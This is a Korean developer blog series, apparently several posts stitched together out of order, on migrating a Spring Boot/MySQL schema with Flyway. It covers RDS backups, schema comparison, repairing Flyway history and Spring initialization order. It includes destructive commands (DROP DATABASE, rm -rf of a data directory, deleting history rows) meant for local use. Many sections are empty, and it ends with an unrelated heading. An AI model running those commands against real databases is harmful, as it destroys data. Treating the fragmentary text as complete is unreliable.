"prodDB랑 똑같은 DB를 로컬에 만들고 그걸 실험하면 좋을 것 같다"

"실험 후 확정된 상황에서 prod에 반영을 한다"

"prod가 항상 정답이 아니고, dev가 최신인 부분도 있음 → 전부 비교해서 최신으로 맞춰야 함"

주의사항

• metadata lock: 기존 테이블 수정 시 요청이 밀릴 수 있음
• 마이그레이션이 30초 넘어가면 위험 → 사용량 적은 시간에 실행
• PK 타입 변경(int → bigint)은 FK 연결 테이블이 많아서 순서 중요
• varchar → enum 변경 시 기존 데이터 호환성 확인 필요

  🛡️ 1단계: 백업

AWS RDS 스냅샷

mysqldump로 로컬 복제용 백업

SSH 터널링을 통해 RDS에 접근하여 dump 파일 생성:

# SSH 터널링 (터미널 1)
ssh -L 3307:eatssu-prod-db.xxx.rds.amazonaws.com:3306 -N -i ~/.ssh/eatssu-prod-bastion.pem ubuntu@xx.xxx.xx.xxx

# dump 실행 (터미널 2)
mysqldump -h 127.0.0.1 -P 3307 -u admin -p prod > prod_backup.sql
mysqldump -h 127.0.0.1 -P 3307 -u admin -p dev > dev_backup.sql

스냅샷 vs dump 역할

🖥️ 2단계: 로컬 실험 환경 구축

로컬 MySQL 설정

# MySQL 8.0 설치
brew install mysql@8.0

# 데이터 디렉토리 초기화
rm -rf /opt/homebrew/var/mysql && mkdir /opt/homebrew/var/mysql
/opt/homebrew/opt/mysql@8.0/bin/mysqld --initialize-insecure --datadir=/opt/homebrew/var/mysql

# MySQL 시작
/opt/homebrew/opt/mysql@8.0/bin/mysqld_safe --datadir=/opt/homebrew/var/mysql &

로컬 DB 생성 및 dump import

mysql -u root

CREATE DATABASE prod_local;
CREATE DATABASE dev_local;
exit;

mysql -u root prod_local < prod_backup.sql
mysql -u root dev_local < dev_backup.sql

결과

🔍 3단계: Entity vs Dev vs Prod 3자 비교

Claude Code를 활용하여 16개 Entity 파일을 분석하고, Dev DDL, Prod DDL과 비교했다.

비교 원칙

주요 차이점 요약

1. PK 타입 불일치 (고위험)

• college, department: Prod가 int, Dev/Entity가 bigint
• FK 컬럼들도 타입 불일치

2. varchar → enum 변환 필요 (10개 컬럼)

• meal.restaurant, meal.time_part
• menu.restaurant, menu_category.restaurant
• user.provider, user.role, user.status
• inquiry.status, report.report_type, report.status

3. CASCADE 정책 (팀 합의 필요)

Prod에만 존재하는 ON DELETE CASCADE:

• meal_menu.menu_id → menu
• review.meal_id → meal
• report.review_id → review

팀 결정: Prod 따라가기로 함 (CASCADE 유지)

🔧 4단계: 마이그레이션 SQL 실행 (로컬)

FK 의존성을 고려하여 Phase별로 실행했다.

실행 순서

Phase 0: 데이터 검증 (중요!)

varchar → enum 변환 전, 기존 데이터가 enum 값에 포함되는지 확인:

SELECT 'user.provider 검증' AS check_name, provider, COUNT(*) AS cnt
FROM user
WHERE provider NOT IN ('EATSSU', 'KAKAO', 'APPLE')
  AND provider IS NOT NULL
GROUP BY provider;

→ 모든 검증 쿼리에서 0건이어야 마이그레이션 안전!

Phase 2: PK 타입 변경 (핵심)

FK를 먼저 해제해야 PK 타입 변경 가능:

SET FOREIGN_KEY_CHECKS = 0;

ALTER TABLE college MODIFY college_id BIGINT NOT NULL AUTO_INCREMENT;
ALTER TABLE department MODIFY department_id BIGINT NOT NULL AUTO_INCREMENT;

📁 5단계: Flyway 스크립트 생성

파일 위치

src/main/resources/db/migration/
└── V1__schema_sync.sql

주요 특징

• Idempotent: FK/인덱스 존재 여부 체크 후 조건부 실행
• Prod/Dev 호환: 두 환경의 다른 FK명 모두 처리
• Entity 기준: 최종 스키마는 Entity 정의와 일치

✅ 완료 상태

📌 다음 단계 (8편 예정)

1. 팀원과 SQL 스크립트 교차 검증
2. 실제 Dev DB에 적용 (사용량 적은 시간대)
3. Dev 테스트 후 실제 Prod DB에 적용
4. application.yml에 Flyway 설정 추가

spring:
  jpa:
    hibernate:
      ddl-auto: validate  # update → validate 변경
  flyway:
    enabled: true
    baseline-on-migrate: true
    baseline-version: 1
    locations: classpath:db/migration

💡 배운 점

1. ddl-auto: update의 한계: 환경마다 다르게 적용될 수 있어 Flyway 같은 마이그레이션 도구 필요
2. 백업의 중요성: 스냅샷(복원용) + dump(실험용) 이중 백업
3. 로컬 테스트 필수: 실제 DB에 적용하기 전 로컬에서 충분히 검증
4. FK 의존성 순서: PK 변경 시 FK 먼저 해제 → PK 변경 → FK 재생성
5. 팀 합의: CASCADE 같은 정책은 혼자 결정하지 않고 팀과 논의

1. Flyway 히스토리 테이블 이해하기

• Flyway는 flyway_schema_history 테이블에서 마이그레이션 이력을 관리합니다.

  테이블 구조:

  SELECT * FROM flyway_schema_history;

  

핵심 컬럼:

• version: 마이그레이션 버전
• checksum: 파일 내용의 해시값
• success: 성공 여부

2. 해결 방법

방법 1: 로컬 환경 - 전체 초기화 (빠름)

-- flyway_schema_history 테이블 완전 삭제
DROP TABLE flyway_schema_history;

-- 또는 데이터베이스 전체 초기화
DROP DATABASE your_database;
CREATE DATABASE your_database;

• 장점: 간단하고 빠름
• 단점: ⚠️ 모든 데이터 삭제 (로컬만 사용!)

방법 2: 특정 버전만 제거 (안전함) ⭐ 권장

시나리오: V3__add_product_table.sql을 잘못 작성해서 다시 실행해야 함

• Step 1: 현재 상태 확인

  SELECT version, description, checksum, success 
  FROM flyway_schema_history 
  WHERE version = '3';

출력:

version | description        | checksum   | success
3       | add product table | -123456789 | true

• Step 2: 잘못 생성된 테이블 삭제 ```
• • V3에서 만든 테이블 삭제 DROP TABLE IF EXISTS product; ```
• ⚠️ 프로덕션에서는 데이터 백업 필수!*
• Step 3: Flyway 히스토리에서 해당 버전 삭제

  sql
  DELETE FROM flyway_schema_history 
  WHERE version = '3';

• 확인* ``` SELECT * FROM flyway_schema_history WHERE version = '3';
• • Empty set (결과 없음) ```
• Step 4: 수정된 스크립트로 재실행 ```
• • V3__add_product_table.sql (수정됨)
• • 애플리케이션 재시작 시 Flyway가 자동 실행

로그:

INFO - Migrating schema to version 3 - add product table
INFO - Successfully applied 1 migration

방법 3: Flyway Repair 사용 (가장 안전)

# 실패한 마이그레이션 & 체크섬 문제 해결
flyway repair

• flyway repair 명령어:

  ✅ 실패한 마이그레이션 기록 제거 ✅ 체크섬 재계산 ⚠️ 실제 DB 객체는 건드리지 않음 (수동 DROP 필요)

• 사용 순서:*

  # 1. repair로 히스토리 정리
  flyway repair
  

2. 잘못된 테이블 수동 삭제

DROP TABLE product;

3. 수정된 스크립트로 재실행

flyway migrate

### 3. 실전 예시: 컬럼 길이를 잘못 설정한 경우
**문제 상황**

-- V5__add_table_a.sql (잘못 작성됨) CREATE TABLE a ( id INT PRIMARY KEY, name VARCHAR(50) -- ❌ 너무 짧음! );

**현재 상태:**

- ✅ 테이블 생성됨
- ✅ flyway_schema_history에 기록됨
- ❌ VARCHAR(50) → VARCHAR(200)으로 수정 필요

#### 해결 과정
1️⃣ 잘못 만든 테이블 삭제

DROP TABLE a;

2️⃣ Flyway 히스토리 삭제

DELETE FROM flyway_schema_history WHERE version = '5';

- 확인:

SELECT * FROM flyway_schema_history WHERE version = '5'; -- Empty set ✅

3️⃣ 스크립트 수정

> -- V5__add_table_a.sql (수정됨)
CREATE TABLE a (
    id INT PRIMARY KEY,
    name VARCHAR(200)  -- ✅ 충분한 길이로 수정
);

4️⃣ 애플리케이션 재시작

> 애플리케이션 시작
  ↓
Flyway: V5가 없네? 실행!
  ↓
수정된 V5__add_table_a.sql 실행
  ↓
새로운 체크섬으로 기록
  ↓
성공! ✅


#### 체크섬 불일치 에러 해결

- 에러 메시지

Migration checksum mismatch for migration version 5 -> Applied to database : -1234567890 -> Resolved locally : 987654321

**원인**
- 이미 실행된 마이그레이션 파일을 수정함
- Flyway는 파일 변경을 체크섬으로 감지

### 해결 방법
#### Option 1: 새 버전 생성 (권장 ⭐)

-- V5는 그대로 두고 -- V6__fix_table_a.sql 생성 ALTER TABLE a MODIFY COLUMN name VARCHAR(200);

#### Option 2: 히스토리 삭제 (로컬만)

DELETE FROM flyway_schema_history WHERE version = '5'; DROP TABLE a; -- 수정된 V5로 재실행

## 언제 어떤 방법을 쓸까?
![](https://velog.velcdn.com/images/eunseo_song/post/678c9cf5-4c18-4ade-b489-e6188cdae32e/image.png)

현재 프로젝트(MySQL 설정)

• build.gradle
• 문제점: MySQL을 사용하는데 PostgreSQL 드라이버 포함됨
• 수정 필요
• application-local.yml

  PostgreSQL 사용 시

  

  Flyway 마이그레이션 SQL 차이

• MySQL (V1__initial.sql)
• PostgreSQL (V1__initial.sql)

  8장. 성능 고려사항

  application.yml

  

  baseline-on-migrate: true가 성능에 미치는 영향

장점:

• 기존 DB에 Flyway를 처음 도입할 때 유용
• 현재 스키마를 버전 1로 간주

단점:

• 최초 실행 시 스키마 전체 스캔 필요

• 애플리케이션 시작 시간 증가 (약 500ms ~ 2초)

  프로덕션 환경 권장 설정

  

  성능 측정

  

  트러블슈팅 섹션

  Q1: Flyway 마이그레이션이 실패하면?

• 시나리오

• 에러 발생 시

• 결과

  • FlywayMigrationInitializer.afterPropertiesSet()에서 예외 발생
  • Hibernate는 시작조차 안 됨 (dependsOn 때문)
  • 애플리케이션 시작 실패

• 해결 방법

  1. SQL 수정 후 재시작
  2. 또는 flyway.repair() 실행

     Q2: 순서를 강제로 바꾸려면?

     1. @DependsOn 직접 사용

     

• 주의: 이렇게 하면 Flyway를 사용하는 의미가 없어진다

  2. Ordered 값 조정

• FlywayMigrationInitialzer.java

• 커스터마이징

4장. @DependsOnDatabaseInitialization 애노테이션

• 파일 위치 spring-boot-3.0.4.jar org/springframework/boot/sql/init/dependency/DependsOnDatabaseInitialization.java
• 프로젝트 내 실제 사용 예시

역할

• 이 애노테이션이 붙은 Bean은 자동으로 Flyway 이후에 초기화됨
• DatabaseInitializationDependencyConfigurer가 자동 감지
• dependsOn이 자동으로 주입됨

  5장. DatabaseInitializationDependencyConfigurer 동작 원리

  시각적 다이어그램

  

6장. Bean Definition 검증

• 파일 위치 java/ssu/eatssu/global/config/BeanDependencyChecker.java
• 실제로 dependsOn이 주입되었는지 확인

• 출력: === EntityManagerFactory Bean 의존성 분석 === dependsOn: [flywayInitializer] === FlywayInitializer Bean 의존성 분석 === dependsOn: 없음

  7장. LocalContainerEntityManagerFactoryBean 분석

• 파일 위치 spring-orm-6.0.6.jar (Spring Framework) org/springframework/orm/jpa/LocalContainerEntityManagerFactoryBean.java

주요 메서드

• afterPropertiesSet() (355-373번 줄)

핵심 부분

• Line 355: afterPropertiesSet() 시작 - InitializingBean 인터페이스 구현
• Line 363: determinePersistenceUnitInfo() - JPA 영속성 유닛 정보 결정
• Line 364-370: Hibernate 같은 JPA Vendor Adapter 설정
• Line 372: super.afterPropertiesSet() 호출 → 실제 EntityManagerFactory 생성

AbstractEntityManagerFactoryBean의 afterPropertiesSet() 호출 시:

• Hibernate 부트스트랩 시작
• ddl-auto 전략 실행 (validate/update/create 등)
• 스키마 검증 수행

  8장. Hibernate 설정 (선택사항)

  8-1. HibernateJpaAutoConfiguration

• 파일 위치: spring-boot-autoconfigure-3.0.4-sources.jar org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaAutoConfiguration.java

주요 애노테이션

• @AutoConfiguration(after = DataSourceAutoConfiguration.class, before = TransactionAutoConfiguration.class)
• @ConditionalOnClass({ LocalContainerEntityManagerFactoryBean.class, EntityManager.class, SessionImplementor.class })
• @EnableConfigurationProperties(JpaProperties.class)
• @Import(HibernateJpaConfiguration.class)
• public class HibernateJpaAutoConfiguration {

특징:

• 매우 간결한 마커 클래스
• 실제 구현은 HibernateJpaConfiguration으로 위임

  8-2. HibernateJpaConfiguration

• 파일 위치: spring-boot-autoconfigure-3.0.4-sources.jar org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaConfiguration.java

클래스 선언

• @Configuration(proxyBeanMethods = false)
• @EnableConfigurationProperties(HibernateProperties.class)
• @ConditionalOnSingleCandidate(DataSource.class)
• class HibernateJpaConfiguration extends JpaBaseConfiguration {

주요 상수:

• JTA_PLATFORM - 68번 줄
• PROVIDER_DISABLES_AUTOCOMMIT - 70번 줄

주요 필드:

• hibernateProperties - 79번 줄
• defaultDdlAutoProvider - 81번 줄
• poolMetadataProvider - 83번 줄
• hibernatePropertiesCustomizers - 85번 줄

생성자:

• 87-102번 줄 - 모든 의존성 주입

주요 메서드:

• createJpaVendorAdapter() - 122-125번 줄 ⭐ HibernateJpaVendorAdapter 생성

• getVendorProperties() - 127-133번 줄 ⭐ Hibernate 속성 반환

• customizeVendorProperties() - 135-144번 줄 ⭐ JTA 플랫폼, 자동커밋 설정

• configureJtaPlatform() - 146-157번 줄 - JTA 트랜잭션 매니저 설정

• configureProviderDisablesAutocommit() - 159-163번 줄 - 자동커밋 비활성화

내부 클래스:

• NamingStrategiesHibernatePropertiesCustomizer - 216-238번 줄

• 물리/암시적 네이밍 전략 커스터마이징 (229-236번 줄)

9장. 실제 실행 로그 확인

• 애플리케이션 실행 시 콘솔 로그를 캡쳐했습니다.

1장. Spring Bean 초기화 메커니즘

1-1. InitializingBean 인터페이스

• 파일 위치: spring-beans-6.0.6.jar org.springframework.beans.factory.InitializingBean

메서드:

• void afterPropertiesSet() throws Exception;

프로젝트 내 사용 예시:

• WarmUpRunner.java (main/java/ssu/eatssu/global/runner/WarmUpRunner.java) ApplicationRunner 인터페이스 구현 (유사한 초기화 메커니즘)

  1-2. Ordered 인터페이스

  위치:

Spring Framework Core (6.0.6) JAR: spring-core-6.0.6.jar 인터페이스: org.springframework.core.Ordered

메서드:

• int getOrder()

프로젝트 내 사용 예시:

• MDCLoggingFilter (main/java/ssu/eatssu/global/log/MDCLoggingFilter.java:23) @Order(Ordered.HIGHEST_PRECEDENCE) 사용

  1-3. @Order vs dependsOn 차이

  @Order vs dependsOn 차이

• 파일 위치 main/java/ssu/eatssu/global/log/MDCLoggingFilter.java

• @Order(Ordered.HIGHEST_PRECEDENCE)

• 차이점

  

• DatabaseInitializationDependencyConfigurer의 선택

  • @Order만으로는 보장 불가능
  • dependsOn으로 강제 의존성 주입

    2장. Flyway 초기화 과정

    2-1. FlywayAutoConfiguration 분석

• 위치: 외부 라이브러리 (Spring Boot 3.0.4)

• JAR: spring-boot-autoconfigure-3.0.4.jar

• 클래스: org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration

주요 애노테이션:

• @AutoConfiguration(after = {DataSourceAutoConfiguration, JdbcTemplateAutoConfiguration, HibernateJpaAutoConfiguration})
• @ConditionalOnClass(Flyway.class)

주요 메서드:

• stringOrNumberMigrationVersionConverter()

• flywayDefaultDdlModeProvider()

• flyway() - 132~145번 줄(실제 Flyway 빈 생성)

• configureDataSource() - 147~151번 줄

• configureProperties() - 182~258번 줄 (Flyway 속성 매핑)

내부 클래스:

• FlywayConfiguration - 111-287번 줄

• FlywayMigrationInitializer 빈 생성 - 280-285번 줄

2-2. FlywayMigrationInitializer 클래스

• 파일 위치: spring-boot-autoconfigure-3.0.4-sources.jar org/springframework/boot/autoconfigure/flyway/FlywayMigrationInitializer.java

클래스 선언:

• public class FlywayMigrationInitializer implements InitializingBean, Ordered {

구현 인터페이스:

• InitializingBean - 21번 줄 import, 32번 줄 구현
• Ordered - 22번 줄 import, 32번 줄 구현

주요 필드:

• flyway - 34번 줄
• migrationStrategy - 36번 줄
• order - 38번 줄 (기본값 0)

주요 메서드:

• 생성자 FlywayMigrationInitializer(Flyway flyway) - 44-46번 줄

• 생성자 FlywayMigrationInitializer(Flyway flyway, FlywayMigrationStrategy migrationStrategy) - 53-57번 줄

• afterPropertiesSet() - 59-73번 줄 ⭐ 실제 마이그레이션 실행

• 66번 줄: this.flyway.migrate(); 호출

• getOrder() - 75-78번 줄

• setOrder(int order) - 80-82번 줄

3장. DatabaseInitializer 등록 메커니즘

• 파일 위치 spring-boot-autoconfigure-3.0.4-sources.jar org/springframework/boot/autoconfigure/flyway/FlywayAutoConfiguration.java

FlywayMigrationInitializer Bean 생성

• FlywayAutoConfiguration.java

이 Bean이 DatabaseInitializer 타입으로 등록되는 과정 설명

DatabaseInitailzer 감지기

• 파일 위치 spring-boot-autoconfigure-3.0.4-sources.jar org/springframework/boot/autoconfigure/flyway/FlywayMigrationInitializerDatabaseInitializerDetector.java

등록 흐름:

1. FlywayAutoConfiguration에서 FlywayMigrationInitializer Bean 생성
2. FlywayMigrationInitializerDatabaseInitializerDetector가 이를 감지
3. DatabaseInitializer로 등록 (SpringFactoriesLoader 메커니즘)
4. postProcessBeanFactory에서 initializerBeanNames에 포함됨

Spring Boot 애플리케이션을 처음 실행했을 때 이런 에러를 본 적 있나요?

Table 'mydb.users' doesn't exist

분명 Flyway 마이그레이션 스크립트에 CREATE TABLE users ... 구문을 작성했는데 왜 테이블이 없다고 할까요?

이 문제의 핵심은 초기화 순서에 있습니다. Hibernate가 Flyway보다 먼저 실행되면서 아직 생성되지 않은 테이블을 검증하려다 실패하는 것이죠.

2. ddl-auto: validate를 사용하는 이유

- 프로덕션 환경에서 권장되는 설정

spring:
  jpa:
    hibernate:
      ddl-auto: validate  # ⭐ 엔티티와 DB 스키마가 일치하는지만 검증

- ddl-auto 옵션 비교

2. 명확한 책임 분리

• 스키마 관리: Flyway (버전 관리, 롤백 가능)
• 스키마 검증: Hibernate (엔티티와 DB 일치 여부 확인)

3. 배포 안정성 개발자 A: User 엔티티에 email 컬럼 추가 개발자 B: Flyway 마이그레이션 스크립트 작성 (V2__add_email_column.sql)

❌ update 사용 시: 개발자 B가 마이그레이션 스크립트를 안 만들어도 동작함 → 배포 시 스크립트 누락 → 프로덕션 장애

✅ validate 사용 시: 마이그레이션 스크립트 없으면 즉시 에러 발생 → 배포 전에 문제 발견 가능

3. 순서가 왜 중요한가?

❌ 잘못된 순서 (Hibernate → Flyway)

1️⃣ Hibernate 초기화 시작 → "User 엔티티가 있네? DB에 users 테이블이 있는지 확인해야지!"

2️⃣ DB 확인 → "어? users 테이블이 없는데요? 🚨"

💥 org.hibernate.tool.schema.spi.SchemaManagementException: Schema-validation: missing table [users]

3️⃣ 애플리케이션 시작 실패 → Flyway는 실행조차 못함

✅ 올바른 순서 (Flyway → Hibernate)

1️⃣ Flyway 마이그레이션 실행 → V1__create_users_table.sql 실행 → CREATE TABLE users (...) ✅

2️⃣ Hibernate 초기화 → "User 엔티티가 있네? DB에 users 테이블이 있는지 확인해야지!" → "있네! 컬럼도 일치하고! ✅"

3️⃣ 애플리케이션 정상 시작 🎉

4. 실제 실행 로그로 확인하기

순서 확인을 위한 로거 작성

실제 콘솔 로그

핵심 포인트

1. Flyway가 먼저 실행됨
2. 마이그레이션 완료 후 Hibernate 시작
3. Hibernate는 이미 존재하는 테이블을 검증만 함

   5. SpringBoot의 해결 방법 미리보기

   🤔 그럼 개발자가 직접 순서를 관리해야 하나?

아닙니다! Spring Boot는 이미 자동으로 순서를 보장합니다.

시각적 플로우

• 핵심 메커니즘 요약

  Spring Boot 2.5+ 부터는 DatabaseInitializationDependencyConfigurer가:

1. @DependsOnDatabaseInitialization 애노테이션이 붙은 Bean 찾기
2. 자동으로 dependsOn = ["flywayInitializer"] 주입
3. Spring Container가 Bean 생성 순서 보장

   // EntityManagerFactory는 이 애노테이션이 붙어있음
   @DependsOnDatabaseInitialization
   public class LocalContainerEntityManagerFactoryBean { ... }

• 결과: 개발자는 아무것도 안 해도 Flyway가 먼저 실행된다.

6. 마무리&다음편 예고

✅ 이번 편에서 배운 것

1. ddl-auto: validate를 사용하는 이유

• 프로덕션 환경에서 안전

• Flyway와 명확한 책임 분리

• 2. 초기화 순서가 중요한 이유*

• Hibernate가 먼저 실행되면 테이블 없다고 에러

• Flyway → Hibernate 순서가 필수

• 3. Spring Boot의 자동 순서 보장*

• DatabaseInitializationDependencyConfigurer

• dependsOn 자동 주입으로 순서 보장

  📖 다음 편 예고 - 3. Spring Boot DatabaseInitializationDependencyConfigurer 동작 원리 - 소스 코드 분석

  다음 편에서는:

• BeanFactoryPostProcessor가 언제 어떻게 동작하는지

• dependsOn이 어떻게 자동으로 주입되는지

• Spring Framework 소스 코드를 직접 분석

• LocalContainerEntityManagerFactoryBean 내부 동작 을 알아보겠습니다!

서비스를 배포하고 나면, 코드만 바뀌는 게 아니라 DB 스키마(schema)도 계속 바뀐다. 그런데 이 변화는 Git처럼 “자동으로” 관리되지 않는다. 그래서 한 번쯤은 이런 상황이 온다.

• 엔티티(entity)를 수정했는데 운영 DB에는 반영이 안 됨
• 운영 DB를 직접 수정하다가 실수로 장애 발생
• 로컬/개발/운영 환경 DB 구조가 서로 달라져서 배포 때 터짐
• ddl-auto=update로 편하게 하다가, 어느 순간 구조가 꼬여서 복구가 어려워짐

이 글의 목표는 “Flyway 사용법을 완벽히 마스터”가 아니라,

나중에 문제가 생겼을 때 “DB Migration / Flyway라는 해결 방향이 있었다”가 떠오르게 만드는 것이다.

1. DB Migration이 정확히 뭐냐?

DB Migration(데이터베이스 마이그레이션)은 DB 구조나 데이터 자체를 변경하는 과정이다.

• 스키마 변경: 테이블/컬럼/인덱스 추가·수정·삭제
• 데이터 변경: 기존 데이터 보정, 기본값 채우기, 데이터 이동 등
• 버전 관리/이력 추적: 어떤 변경이 언제 적용됐는지 기록하고 재현 가능하게 만들기

즉, 한 줄로 요약하면:

DB 형상관리 = DB 변경사항을 Git처럼 “파일로” 관리하고 “버전으로” 추적하는 것

2. “곧” 만나게 될 문제 상황 (예시)

이미 배포가 완료되어 데이터가 쌓이고 있는 상황을 가정하자.

@Entity
public class SampleEntity {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    private String name;
}

이 상태로 운영 중인데, 개발하다가 age 컬럼이 필요해져서 엔티티를 변경했다.

@Entity
public class SampleEntity {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    private String name;
    private Integer age;
}

이때 운영 DB 테이블에는 age 컬럼이 없으니, 저장 시점에 이런 에러가 뜬다.

Caused by: java.sql.SQLSyntaxErrorException: Unknown column 'age' in 'field list'

이 상황에서 흔히 하는 대응은:

1. 운영 DB에 직접 접속해서 ALTER TABLE ... 실행
2. 로컬/개발/운영 각각 환경에서 수동으로 맞춰주기
3. Hibernate ddl-auto를 update로 돌려서 “알아서” 맞추기

하지만 셋 다 문제가 있다.

3. 기존 방식의 한계 (왜 Flyway가 필요한가)

3.1 운영 DB를 직접 손대는 방식

• 번거롭고, 반복될수록 실수 확률이 올라간다
• “누가 언제 뭘 바꿨는지” 이력이 남지 않는다
• 팀 협업에서 재현이 어렵다

예시) 운영에서 직접 실행:

ALTER TABLE sample_entity ADD COLUMN age integer default 0;

3.2 ddl-auto=create/update의 문제

• create / create-drop: 데이터가 날아가므로 운영에서 불가
• update: 편해 보이지만 변경 이력이 남지 않고, 복잡한 변경에서 꼬일 수 있음 (예: 테이블/컬럼 rename, 제약조건 변경 등)

운영 환경에서는 일반적으로 Hibernate가 스키마를 자동으로 바꾸지 않도록 설정하는 편이 안전하다.

4. Flyway가 해결하는 방식

Flyway는 DB 안에 변경 이력을 저장하는 메타데이터 테이블을 만든다.

• 테이블 이름: flyway_schema_history
• 역할: “어떤 버전의 마이그레이션이 적용되었는지” 기록

그리고 개발자는 DB 변경 사항을 SQL 파일로 작성해 Git으로 관리한다.

• 새 변경이 생기면 새 버전 파일을 추가한다 (기존 파일 수정 X)

• Flyway는 애플리케이션 실행 시(또는 배포 과정에서) “아직 적용되지 않은 버전”만 골라 순서대로 적용한다.

5. 마이그레이션 파일 규칙 (Naming Rule)

대표적인 버전 마이그레이션 파일 규칙:

• V : Version Migration 을 의미 Undo의 U, Repeatable의 R을 사용하기도 하는데 대부분 V를 사용한다
• 1 : 파일의 버전(unique) 적용되지 않는 파일 중에서 같은 버전이 존재할 경우 어떤 것을 적용할 지 몰라 에러를 뱉는다
  • 새로 적용하려는 파일은 기존의 적용된 파일의 버전보다 높아야 한다 V3가 새로 적용된 파일이라고 할 때, V2와 V4를 동시에 적용한다고 하면 어떻게 되는가? V2는 무시가 되고 V4만 적용된다
  • 이름은 버전이나 날짜를 주로 사용한다 005 / 5.2 / 1.2.3.4.5.6.7.8.9 / 205.68 / 20130115113556 (yyyymmddhhmmss) / 20213.1.15.11.35.56
• __ : seperator, 항상 언더바가 두개 존재한다
• init : 파일 설명 history의 description 항목으로 들어가기 때문에 좀 자세히 적어야 한다
• .sql : suffix

버전은 정수로만 제한되지 않고 1_1_0 같은 형태도 가능하며, 버전이 작은 것부터 큰 순서로 적용된다.

6. Spring Boot + MySQL + Gradle 기준 적용 방법

6.1 의존성 추가 (Gradle)

MySQL 8.x에서 flyway-core만으로 DB를 인식 못하는 케이스가 있어 flyway-mysql을 함께 쓰는 구성이 흔하다.

// mysql
runtimeOnly 'com.mysql:mysql-connector-j'

// flyway
implementation 'org.flywaydb:flyway-core'
implementation 'org.flywaydb:flyway-mysql'

6.2 application.yml 설정 예시

spring:
  flyway:
    enabled: true
    baseline-on-migrate: true
    baseline-version: 0
    locations:
      - classpath:db/migration
      - classpath:db/seed

• baseline-on-migrate: 기존에 운영 중인(비어 있지 않은) DB에 Flyway를 도입할 때 유용
• locations: 마이그레이션 파일 위치 (하위 폴더까지 스캔)

6.3 Hibernate ddl-auto 권장 설정

Flyway가 스키마 관리의 “단일 진실(Single source of truth)”이 되게 하려면, Hibernate 자동 스키마 변경은 끄는 편이 좋다.

• none: Hibernate가 스키마 변경 안 함
• validate: 엔티티와 DB 스키마 일치 여부만 검사 (불일치 시 앱 부팅 단계에서 실패)

운영 안정성 측면에서는 validate가 특히 유용하다. (엔티티-DB 불일치 상태로 서비스가 뜨지 않게 막음)

7. 예제로 보는 동작 방식 (age 컬럼 추가)

7.1 Flyway 도입 시점의 초기 스키마를 파일로 만든다

src/main/resources/db/migration/V1__init.sql

drop table if exists sample_entity;

create table sample_entity(
    id   bigint auto_increment,
    name varchar(255),
    primary key (id)
);

INSERT into sample_entity (name) values ('user1');
INSERT into sample_entity (name) values ('user2');
INSERT into sample_entity (name) values ('user3');

이 파일이 “기준점”이 된다. 이후 Flyway는 이 파일 포함한 이력을 flyway_schema_history에 기록한다.

7.2 스키마 변경이 생기면 “새 파일”로 추가한다

src/main/resources/db/migration/V2__add_age.sql

ALTER TABLE sample_entity ADD COLUMN age integer default 0;

이제 애플리케이션 실행/배포 시 Flyway가

• V1은 이미 적용되어 있으면 스킵
• V2는 아직이면 적용
• 그리고 flyway_schema_history에 기록

즉, 목표는 달성된다.

1. DB 직접 접속해서 테이블 안 건드려도 신규 데이터 저장 가능
2. 기존 데이터는 default 0으로 age가 채워짐
3. SQL 파일이 Git으로 관리되어 이력 추적 가능

8. Baseline 개념 (이미 운영 중인 DB에 도입할 때)

운영 DB가 이미 존재하는 상태에서 Flyway를 켜면, Flyway는 “처음부터” 마이그레이션을 적용하려고 하면서 충돌이 날 수 있다.

이때 Baseline을 사용하면:

“현재 DB 상태는 이미 특정 버전까지 적용된 것으로 간주”하고 그 이후 버전부터만 적용하게 할 수 있다.

예: baseline-version: 0이면, 현재 상태를 V0까지 적용된 것으로 보고 V1부터 적용.

9. 마이그레이션 폴더 구조 팁: Migration vs Seed 분리

현업에서 자주 쓰는 운영-friendly 구조는:

• Migration: 모든 환경에서 공통으로 적용되는 “스키마 변경”
• Seed: 로컬/개발에서만 필요한 “테스트/샘플 데이터”

예시 구조:

src/main/resources/db/
├── migration/
│   ├── V0__init.sql
│   ├── V1__add_xxx.sql
│   └── ...
└── seed/
    ├── local/
    └── dev/

이렇게 하면 운영 환경에서는 seed를 빼고, 로컬/개발에서는 seed를 포함시키는 운영 전략을 가져가기 쉽다.

10. 자주 만나는 오류: “Detected failed migration …”

예시 에러:

Validate failed:
Detected failed migration to version 1 (init)

원인:

• 어떤 버전의 마이그레이션이 실패했는데, 그 흔적이 flyway_schema_history에 남아 있는 상태

대응:

• 실패 원인을 고치고, 필요하다면 flyway_schema_history의 실패 기록을 정리해야 한다.
• (실무에선 Flyway의 repair 개념도 함께 보지만, 기본은 “실패한 이력 때문에 재실행이 막힌다”는 점을 이해하는 게 중요)

11. Flyway에서 꼭 기억할 운영 원칙

이미 적용된 마이그레이션 파일은 수정하지 않는다. 수정하면 checksum이 바뀌고 Flyway가 “오염된 파일”로 간주해 오류를 낸다.

변경이 추가되면 항상 새 버전 파일을 만든다.

flyway_schema_history와 마이그레이션 파일은 지우면 안 된다.

12. Flyway 주요 개념정리

Flyway를 쓰면 보통 아래 기능들을 접한다.

• Migrate: 마이그레이션 적용
• Info: 적용 내역 조회
• Validate: 적용 가능 여부/무결성 검증
• Repair: 체크섬 불일치 등 이력 정리 보조
• Baseline: 기존 DB에서 시작점 잡기
• Clean: DB 전부 삭제(개발용으로만)
• Undo: 롤백(버전/에디션/설정에 따라 제약 있음)

1. Migrate

   

2. Baseline

   비어 있지 않은 DB에서 flyway를 적용할 때 사용하는 키워드이다.

3. Info

   

• version의 크기에 따라서 Installed_rank 가 결정되기 때문에 항상 최근에 적용한 파일의 버전보다 높은 버전을 등록해야 한다
• checksum은 migration file의 해시값이다 적용된 마이그레이션에서 변경이 일어난다면 checksum 값이 달라지게 되어 flyway는 파일이 오염되었다고 간주하고 오류를 뱉는다
• 데이터베이스 변경 작업 및 추가 작업을 하기 위해서는 반드시 새로운 파일에서 진행해야 한다

마무리

정리하면, Flyway는 “DB를 Git처럼 관리”하게 해준다.

변경 사항을 SQL 파일로 남기고

적용된 버전을 DB에 기록하고

배포/실행 시점에 자동으로 최신 상태로 맞춰준다

서비스가 커질수록 “수동으로 운영 DB를 고치는 방식”은 사고로 이어질 확률이 높다. Flyway 같은 마이그레이션 도구는 그 위험을 체계적으로 줄이는 선택지다.

Execution Cycle, Clock, and Memory (Single-cycle Processor)

